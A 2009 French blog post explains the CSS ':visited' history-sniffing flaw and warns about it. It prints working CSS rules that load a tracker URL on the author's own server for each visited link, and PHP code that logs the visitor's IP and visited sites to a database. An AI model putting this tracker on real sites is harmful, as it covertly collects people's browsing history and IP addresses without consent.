Sniffing : un tracker d’historique en CSS !
Brendon du site infinity-infinity.com à mis le doigt sur une faille CSS plutôt impressionnante. Nous allons voir ici la technique permettant de « dérober » l’historique de l’internaute par une manière encore imparable. Pas besoin de Javascript ici, donc, même les plus précautionneux pourront être touchés. Si j’aborde ce sujet ici, ce n’est pas pour vous inciter à réaliser des scripts de tracking à l’insu de vos internautes, mais uniquement pour avertir sur la faille et découvrir comment tout cela est possible. Contre toute attente, le CSS, simple langage de mise en forme, peut être utilisé à des fins plus malicieuses. Zoom sur la faille et explications du processus de tracking dans la suite de ce billet …
Avant de lire la méthode, je vous propose la démo. Consultez cette page de démo, puis cliquez sur « afficher l’historique ». A priori, la page vous indiquera quelques-uns des sites que vous avez visité récemment et qui existent toujours dans votre historique. Plutôt impressionnant, surtout quand on constate qu’il n’y a pas un bout de javascript
Tracker d’historique en CSS, Comment ça marche ?
Prenons un code CSS de base :
#link1 { color : blue ; } #link1 :visited { color : red ; }
Ce code CSS sera appliqué au code HTML suivant :
< a id = "link1" href = "http://google.com/" >Google< / a >
Ce petit bout de code innocent permet évidemment de changer la couleur d’un lien : bleu si le lien n’a jamais été visité, rouge dans le cas contraire. C’est donc le navigateur qui est interrogé et qui répond en consultant son historique.
Maintenant, remplaçons le code CSS comme il suit :
#link1 :visited { color : red ; background : url ( http://monsite.fr/tracker.php?url=google.com ) ; }
Vous constatez qu’on utilise désormais une page PHP hébergée sur notre serveur, avec un passage de variable (le ?url=google.com) en fausse image de fond.
Jusque là, vous me suivez ? Bon maintenant focalisons-nous sur cette fameuse page « tracker.php » :
<?PHP $ip = $_SERVER["REMOTE_ADDR"]; // on prend l'adresse IP de l'internaute
$url = $_GET["url"]; // on prend les URLs déjà visitées en variable
// on se connecte à la base SQL (vous devez ajouter votre propre connexion)
// puis on ajoute les données récupérées dans la base
mysql_query("INSERT INTO matabledetracking (ip, url) VALUES ("" . mysql_real_escape_string($ip) . "", "" . mysql_real_escape_string($url) . "")"); ?>
Maintenant que l’on sait comment interroger le navigateur pour définir l’existence d’un lien dans l’historique, il suffit de « bombarder » la page de liens pour définir les variables qui seront envoyées au tracker :
#link1:visited { background: url(http://monsite.fr/tracker.php?url=google.com); } #link2:visited { background: url(http://monsite.fr/tracker.php?url=yahoo.com); } #link3:visited { background: url(http://monsite.fr/tracker.php?url=amazon.com); } #link4:visited { background: url(http://monsite.fr/tracker.php?url=php.net); } /* etc */
Vous l’aurez compris, il devient alors relativement facile d’obtenir n’importe quelle données provenant de l’historique, sans même avoir besoin de Javascript Ajax Flash ou autre, le sélecteur CSS ‘:visited’ faisant office d’espion.
Conséquences
Comme d’hab, cette faille CSS et les dérives de ce script seront certainement utilisées à des fins commerciale, notamment pour la publicité ciblée. Beaucoup doutent de ces pratiques et paniquent à l’idée d’être « traqué ». Bien que cette faille soit un véritable exploit et puisse soulever des interrogations quant à la sécurité dans nos navigateurs (jusqu’ou peut-on tracker? et mes données personnelles ? et mes codes secrets ?) des solutions existent. La dernière version de Firefox permet de désactiver le sélecteur CSS « :visited » et donc de parer à ce malicieux suivi de l’internaute.
- Posté le 17 août 2009




